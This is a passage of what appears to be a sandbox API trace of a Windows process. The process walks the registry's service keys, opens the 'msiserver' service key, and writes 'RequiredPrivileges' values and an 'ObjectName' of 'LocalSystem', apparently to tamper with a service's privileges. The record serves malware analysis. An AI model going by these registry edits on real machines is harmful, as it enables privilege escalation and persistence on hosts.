dwIndex=0x70, lpName=0x2152850, cchName=0x104 | out: lpName="flpydisk") returned 0x0 [0247.961] RegEnumKeyW (in: hKey=0x154, dwIndex=0x71, lpName=0x2152850, cchName=0x104 | out: lpName="FltMgr") returned 0x0 [0247.961] RegEnumKeyW (in: hKey=0x154, dwIndex=0x72, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache") returned 0x0 [0247.961] RegEnumKeyW (in: hKey=0x154, dwIndex=0x73, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache3.0.0.0") returned 0x0 [0247.961] RegEnumKeyW (in: hKey=0x154, dwIndex=0x74, lpName=0x2152850, cchName=0x104 | out: lpName="FsDepends") returned 0x0 [0247.961] RegEnumKeyW (in: hKey=0x154, dwIndex=0x75, lpName=0x2152850, cchName=0x104 | out: lpName="Fs_Rec") returned 0x0 [0247.961] RegEnumKeyW (in: hKey=0x154, dwIndex=0x76, lpName=0x2152850, cchName=0x104 | out: lpName="fvevol") returned 0x0 [0247.961] RegEnumKeyW (in: hKey=0x154, dwIndex=0x77, lpName=0x2152850, cchName=0x104 | out: lpName="gagp30kx") returned 0x0 [0247.961] RegEnumKeyW (in: hKey=0x154, dwIndex=0x78, lpName=0x2152850, cchName=0x104 | out: lpName="gpsvc") returned 0x0 [0247.962] RegEnumKeyW (in: hKey=0x154, dwIndex=0x79, lpName=0x2152850, cchName=0x104 | out: lpName="gupdate") returned 0x0 [0247.962] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7a, lpName=0x2152850, cchName=0x104 | out: lpName="gupdatem") returned 0x0 [0247.962] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7b, lpName=0x2152850, cchName=0x104 | out: lpName="hcw85cir") returned 0x0 [0247.962] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7c, lpName=0x2152850, cchName=0x104 | out: lpName="HdAudAddService") returned 0x0 [0247.962] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7d, lpName=0x2152850, cchName=0x104 | out: lpName="HDAudBus") returned 0x0 [0247.962] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7e, lpName=0x2152850, cchName=0x104 | out: lpName="HidBatt") returned 0x0 [0247.962] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7f, lpName=0x2152850, cchName=0x104 | out: lpName="HidBth") returned 0x0 [0247.962] RegEnumKeyW (in: hKey=0x154, dwIndex=0x80, lpName=0x2152850, cchName=0x104 | out: lpName="HidIr") returned 0x0 [0247.962] RegEnumKeyW (in: hKey=0x154, dwIndex=0x81, lpName=0x2152850, cchName=0x104 | out: lpName="hidserv") returned 0x0 [0247.962] RegEnumKeyW (in: hKey=0x154, dwIndex=0x82, lpName=0x2152850, cchName=0x104 | out: lpName="HidUsb") returned 0x0 [0247.962] RegEnumKeyW (in: hKey=0x154, dwIndex=0x83, lpName=0x2152850, cchName=0x104 | out: lpName="hkmsvc") returned 0x0 [0247.962] RegEnumKeyW (in: hKey=0x154, dwIndex=0x84, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupListener") returned 0x0 [0247.962] RegEnumKeyW (in: hKey=0x154, dwIndex=0x85, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupProvider") returned 0x0 [0247.962] RegEnumKeyW (in: hKey=0x154, dwIndex=0x86, lpName=0x2152850, cchName=0x104 | out: lpName="HpSAMD") returned 0x0 [0247.963] RegEnumKeyW (in: hKey=0x154, dwIndex=0x87, lpName=0x2152850, cchName=0x104 | out: lpName="HTTP") returned 0x0 [0247.963] RegEnumKeyW (in: hKey=0x154, dwIndex=0x88, lpName=0x2152850, cchName=0x104 | out: lpName="hwpolicy") returned 0x0 [0247.963] RegEnumKeyW (in: hKey=0x154, dwIndex=0x89, lpName=0x2152850, cchName=0x104 | out: lpName="i8042prt") returned 0x0 [0247.963] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8a, lpName=0x2152850, cchName=0x104 | out: lpName="iaStorV") returned 0x0 [0247.963] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8b, lpName=0x2152850, cchName=0x104 | out: lpName="idsvc") returned 0x0 [0247.963] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8c, lpName=0x2152850, cchName=0x104 | out: lpName="iirsp") returned 0x0 [0247.963] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8d, lpName=0x2152850, cchName=0x104 | out: lpName="IKEEXT") returned 0x0 [0247.963] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8e, lpName=0x2152850, cchName=0x104 | out: lpName="inetaccs") returned 0x0 [0247.963] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8f, lpName=0x2152850, cchName=0x104 | out: lpName="intelide") returned 0x0 [0247.963] RegEnumKeyW (in: hKey=0x154, dwIndex=0x90, lpName=0x2152850, cchName=0x104 | out: lpName="intelppm") returned 0x0 [0247.963] RegEnumKeyW (in: hKey=0x154, dwIndex=0x91, lpName=0x2152850, cchName=0x104 | out: lpName="IPBusEnum") returned 0x0 [0247.963] RegEnumKeyW (in: hKey=0x154, dwIndex=0x92, lpName=0x2152850, cchName=0x104 | out: lpName="IpFilterDriver") returned 0x0 [0247.964] RegEnumKeyW (in: hKey=0x154, dwIndex=0x93, lpName=0x2152850, cchName=0x104 | out: lpName="iphlpsvc") returned 0x0 [0247.964] RegEnumKeyW (in: hKey=0x154, dwIndex=0x94, lpName=0x2152850, cchName=0x104 | out: lpName="IPMIDRV") returned 0x0 [0247.964] RegEnumKeyW (in: hKey=0x154, dwIndex=0x95, lpName=0x2152850, cchName=0x104 | out: lpName="IPNAT") returned 0x0 [0247.964] RegEnumKeyW (in: hKey=0x154, dwIndex=0x96, lpName=0x2152850, cchName=0x104 | out: lpName="IRENUM") returned 0x0 [0247.964] RegEnumKeyW (in: hKey=0x154, dwIndex=0x97, lpName=0x2152850, cchName=0x104 | out: lpName="isapnp") returned 0x0 [0247.964] RegEnumKeyW (in: hKey=0x154, dwIndex=0x98, lpName=0x2152850, cchName=0x104 | out: lpName="iScsiPrt") returned 0x0 [0247.964] RegEnumKeyW (in: hKey=0x154, dwIndex=0x99, lpName=0x2152850, cchName=0x104 | out: lpName="kbdclass") returned 0x0 [0247.964] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9a, lpName=0x2152850, cchName=0x104 | out: lpName="kbdhid") returned 0x0 [0247.964] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9b, lpName=0x2152850, cchName=0x104 | out: lpName="KeyIso") returned 0x0 [0247.964] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9c, lpName=0x2152850, cchName=0x104 | out: lpName="KSecDD") returned 0x0 [0247.964] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9d, lpName=0x2152850, cchName=0x104 | out: lpName="KSecPkg") returned 0x0 [0247.964] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9e, lpName=0x2152850, cchName=0x104 | out: lpName="ksthunk") returned 0x0 [0247.964] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9f, lpName=0x2152850, cchName=0x104 | out: lpName="KtmRm") returned 0x0 [0247.965] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa0, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanServer") returned 0x0 [0247.965] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa1, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanWorkstation") returned 0x0 [0247.965] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa2, lpName=0x2152850, cchName=0x104 | out: lpName="ldap") returned 0x0 [0247.965] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa3, lpName=0x2152850, cchName=0x104 | out: lpName="lltdio") returned 0x0 [0247.965] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa4, lpName=0x2152850, cchName=0x104 | out: lpName="lltdsvc") returned 0x0 [0247.965] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa5, lpName=0x2152850, cchName=0x104 | out: lpName="lmhosts") returned 0x0 [0247.965] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa6, lpName=0x2152850, cchName=0x104 | out: lpName="Lsa") returned 0x0 [0247.965] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa7, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_FC") returned 0x0 [0247.965] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa8, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS") returned 0x0 [0247.965] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa9, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS2") returned 0x0 [0247.965] RegEnumKeyW (in: hKey=0x154, dwIndex=0xaa, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SCSI") returned 0x0 [0247.965] RegEnumKeyW (in: hKey=0x154, dwIndex=0xab, lpName=0x2152850, cchName=0x104 | out: lpName="luafv") returned 0x0 [0247.965] RegEnumKeyW (in: hKey=0x154, dwIndex=0xac, lpName=0x2152850, cchName=0x104 | out: lpName="Mcx2Svc") returned 0x0 [0247.966] RegEnumKeyW (in: hKey=0x154, dwIndex=0xad, lpName=0x2152850, cchName=0x104 | out: lpName="megasas") returned 0x0 [0247.966] RegEnumKeyW (in: hKey=0x154, dwIndex=0xae, lpName=0x2152850, cchName=0x104 | out: lpName="MegaSR") returned 0x0 [0247.966] RegEnumKeyW (in: hKey=0x154, dwIndex=0xaf, lpName=0x2152850, cchName=0x104 | out: lpName="Microsoft SharePoint Workspace Audit Service") returned 0x0 [0247.966] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb0, lpName=0x2152850, cchName=0x104 | out: lpName="MMCSS") returned 0x0 [0247.966] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb1, lpName=0x2152850, cchName=0x104 | out: lpName="Modem") returned 0x0 [0247.966] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb2, lpName=0x2152850, cchName=0x104 | out: lpName="monitor") returned 0x0 [0247.966] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb3, lpName=0x2152850, cchName=0x104 | out: lpName="mouclass") returned 0x0 [0247.966] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb4, lpName=0x2152850, cchName=0x104 | out: lpName="mouhid") returned 0x0 [0247.966] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb5, lpName=0x2152850, cchName=0x104 | out: lpName="mountmgr") returned 0x0 [0247.966] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb6, lpName=0x2152850, cchName=0x104 | out: lpName="MozillaMaintenance") returned 0x0 [0247.966] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb7, lpName=0x2152850, cchName=0x104 | out: lpName="mpio") returned 0x0 [0247.966] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb8, lpName=0x2152850, cchName=0x104 | out: lpName="mpsdrv") returned 0x0 [0247.967] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb9, lpName=0x2152850, cchName=0x104 | out: lpName="MpsSvc") returned 0x0 [0247.967] RegEnumKeyW (in: hKey=0x154, dwIndex=0xba, lpName=0x2152850, cchName=0x104 | out: lpName="MRxDAV") returned 0x0 [0247.967] RegEnumKeyW (in: hKey=0x154, dwIndex=0xbb, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb") returned 0x0 [0247.967] RegEnumKeyW (in: hKey=0x154, dwIndex=0xbc, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb10") returned 0x0 [0247.967] RegEnumKeyW (in: hKey=0x154, dwIndex=0xbd, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb20") returned 0x0 [0247.967] RegEnumKeyW (in: hKey=0x154, dwIndex=0xbe, lpName=0x2152850, cchName=0x104 | out: lpName="msahci") returned 0x0 [0247.967] RegEnumKeyW (in: hKey=0x154, dwIndex=0xbf, lpName=0x2152850, cchName=0x104 | out: lpName="msdsm") returned 0x0 [0247.967] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc0, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0247.967] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc1, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 3.0.0.0") returned 0x0 [0247.967] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc2, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 4.0.0.0") returned 0x0 [0247.967] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc3, lpName=0x2152850, cchName=0x104 | out: lpName="Msfs") returned 0x0 [0247.967] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc4, lpName=0x2152850, cchName=0x104 | out: lpName="mshidkmdf") returned 0x0 [0247.967] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc5, lpName=0x2152850, cchName=0x104 | out: lpName="msisadrv") returned 0x0 [0247.968] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc6, lpName=0x2152850, cchName=0x104 | out: lpName="MSiSCSI") returned 0x0 [0247.968] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc7, lpName=0x2152850, cchName=0x104 | out: lpName="msiserver") returned 0x0 [0247.968] RegOpenKeyExW (in: hKey=0x154, lpSubKey="msiserver", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0247.968] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0247.968] RegCloseKey (hKey=0x154) returned 0x0 [0247.968] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0247.968] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0247.968] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0247.968] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0247.968] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0247.968] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0247.968] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0247.968] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0247.969] RegCloseKey (hKey=0x80000002) returned 0x0 [0247.969] RegEnumKeyW (in: hKey=0x150, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0247.969] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0247.969] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0247.969] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0247.969] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0247.969] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0247.969] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0247.969] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0247.969] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0247.969] RegOpenKeyExW (in: hKey=0x150, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x154) returned 0x0 [0247.969] RegCloseKey (hKey=0x150) returned 0x0 [0247.969] RegEnumKeyW (in: hKey=0x154, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0247.970] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0247.970] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0247.970] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0247.970] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0247.970] RegOpenKeyExW (in: hKey=0x154, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0247.970] RegCloseKey (hKey=0x154) returned 0x0 [0247.970] RegEnumKeyW (in: hKey=0x150, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0247.970] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0247.970] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0247.970] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0247.970] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0247.970] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0247.970] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0247.970] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0247.971] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0247.971] RegEnumValueA (in: hKey=0xc4, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.971] RegEnumValueA (in: hKey=0xc4, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.971] RegEnumValueA (in: hKey=0xc4, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.971] RegEnumValueA (in: hKey=0xc4, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.971] RegEnumValueA (in: hKey=0xc4, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.971] RegEnumValueA (in: hKey=0xc4, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.971] RegEnumValueA (in: hKey=0xc4, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.971] RegEnumValueA (in: hKey=0xc4, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.972] RegEnumValueA (in: hKey=0xc4, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.972] RegEnumValueA (in: hKey=0xc4, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.972] RegEnumValueA (in: hKey=0xc4, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.972] RegEnumValueA (in: hKey=0xc4, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.972] RegEnumValueA (in: hKey=0xc4, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.972] RegEnumValueA (in: hKey=0xc4, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.972] RegEnumValueA (in: hKey=0xc4, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.972] RegEnumValueA (in: hKey=0xc4, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0247.972] RegSetValueExA (in: hKey=0x154, lpValueName="RequiredPrivileges", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0247.972] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0247.972] RegSetValueExA (in: hKey=0x154, lpValueName="RequiredPrivileges ", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0247.973] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0247.973] RegEnumValueA (in: hKey=0xc4, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.973] RegEnumValueA (in: hKey=0xc4, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.973] RegEnumValueA (in: hKey=0xc4, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.973] RegEnumValueA (in: hKey=0xc4, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.973] RegEnumValueA (in: hKey=0xc4, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.973] RegEnumValueA (in: hKey=0xc4, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.973] RegEnumValueA (in: hKey=0xc4, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.973] RegEnumValueA (in: hKey=0xc4, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.973] RegEnumValueA (in: hKey=0xc4, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.973] RegEnumValueA (in: hKey=0xc4, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.973] RegEnumValueA (in: hKey=0xc4, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.973] RegEnumValueA (in: hKey=0xc4, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.974] RegEnumValueA (in: hKey=0xc4, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.974] RegEnumValueA (in: hKey=0xc4, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.974] RegEnumValueA (in: hKey=0xc4, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.974] RegEnumValueA (in: hKey=0xc4, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0247.974] RegSetValueExA (in: hKey=0x154, lpValueName="ObjectName", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0247.974] RtlFreeHeap 